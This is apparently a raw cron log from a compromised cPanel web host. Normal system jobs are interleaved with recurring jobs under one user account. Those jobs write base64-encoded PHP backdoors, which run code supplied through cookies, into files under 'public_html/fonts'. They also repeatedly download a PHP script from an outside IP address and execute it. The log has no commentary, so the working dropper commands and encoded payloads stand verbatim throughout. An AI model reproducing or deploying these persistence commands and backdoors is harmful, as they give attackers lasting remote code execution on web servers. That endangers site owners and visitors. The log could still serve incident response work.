Sep  2 23:44:01 ip-184-168-122-23 CROND[30754]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 23:44:01 ip-184-168-122-23 CROND[30751]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 23:45:01 ip-184-168-122-23 CROND[30932]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 23:45:01 ip-184-168-122-23 CROND[30934]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 23:45:01 ip-184-168-122-23 CROND[30935]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 23:45:01 ip-184-168-122-23 CROND[30938]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 23:45:01 ip-184-168-122-23 CROND[30940]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 23:45:01 ip-184-168-122-23 CROND[30939]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 23:46:01 ip-184-168-122-23 CROND[31058]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 23:46:01 ip-184-168-122-23 CROND[31059]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 23:46:01 ip-184-168-122-23 CROND[31062]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 23:46:01 ip-184-168-122-23 CROND[31067]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 23:46:01 ip-184-168-122-23 CROND[31065]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 23:46:01 ip-184-168-122-23 CROND[31068]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 23:46:01 ip-184-168-122-23 CROND[31066]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  2 23:47:01 ip-184-168-122-23 CROND[31157]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 23:47:01 ip-184-168-122-23 CROND[31161]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 23:47:01 ip-184-168-122-23 CROND[31159]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 23:47:01 ip-184-168-122-23 CROND[31160]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 23:48:01 ip-184-168-122-23 CROND[31252]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 23:48:01 ip-184-168-122-23 CROND[31254]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 23:48:01 ip-184-168-122-23 CROND[31256]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 23:48:01 ip-184-168-122-23 CROND[31257]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 23:48:01 ip-184-168-122-23 CROND[31255]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 23:49:01 ip-184-168-122-23 CROND[31342]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 23:49:01 ip-184-168-122-23 CROND[31344]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 23:49:01 ip-184-168-122-23 CROND[31345]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 23:49:01 ip-184-168-122-23 CROND[31343]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 23:50:01 ip-184-168-122-23 CROND[31428]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 23:50:01 ip-184-168-122-23 CROND[31429]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 23:50:01 ip-184-168-122-23 CROND[31435]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 23:50:01 ip-184-168-122-23 CROND[31436]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 23:50:01 ip-184-168-122-23 CROND[31438]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 23:50:01 ip-184-168-122-23 CROND[31439]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 23:50:01 ip-184-168-122-23 CROND[31440]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 23:50:01 ip-184-168-122-23 CROND[31441]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 23:50:01 ip-184-168-122-23 CROND[31442]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 23:51:01 ip-184-168-122-23 CROND[31610]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 23:51:01 ip-184-168-122-23 CROND[31612]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 23:51:01 ip-184-168-122-23 CROND[31613]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 23:51:01 ip-184-168-122-23 CROND[31615]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 23:52:01 ip-184-168-122-23 CROND[31694]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 23:52:01 ip-184-168-122-23 CROND[31698]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 23:52:01 ip-184-168-122-23 CROND[31696]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 23:52:01 ip-184-168-122-23 CROND[31697]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 23:52:01 ip-184-168-122-23 CROND[31699]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 23:53:02 ip-184-168-122-23 CROND[31779]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 23:53:02 ip-184-168-122-23 CROND[31783]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 23:53:02 ip-184-168-122-23 CROND[31784]: (root) CMD (/usr/lib64/sa/sa2 -A)
Sep  2 23:53:02 ip-184-168-122-23 CROND[31782]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 23:53:02 ip-184-168-122-23 CROND[31785]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 23:54:01 ip-184-168-122-23 CROND[31872]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 23:54:01 ip-184-168-122-23 CROND[31871]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 23:54:01 ip-184-168-122-23 CROND[31875]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 23:54:01 ip-184-168-122-23 CROND[31874]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 23:54:01 ip-184-168-122-23 CROND[31877]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 23:55:01 ip-184-168-122-23 CROND[31961]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 23:55:01 ip-184-168-122-23 CROND[31963]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 23:55:01 ip-184-168-122-23 CROND[31965]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 23:55:01 ip-184-168-122-23 CROND[31966]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 23:55:01 ip-184-168-122-23 CROND[31964]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 23:55:01 ip-184-168-122-23 CROND[31967]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 23:56:01 ip-184-168-122-23 CROND[32126]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 23:56:01 ip-184-168-122-23 CROND[32128]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 23:56:01 ip-184-168-122-23 CROND[32130]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 23:56:01 ip-184-168-122-23 CROND[32131]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
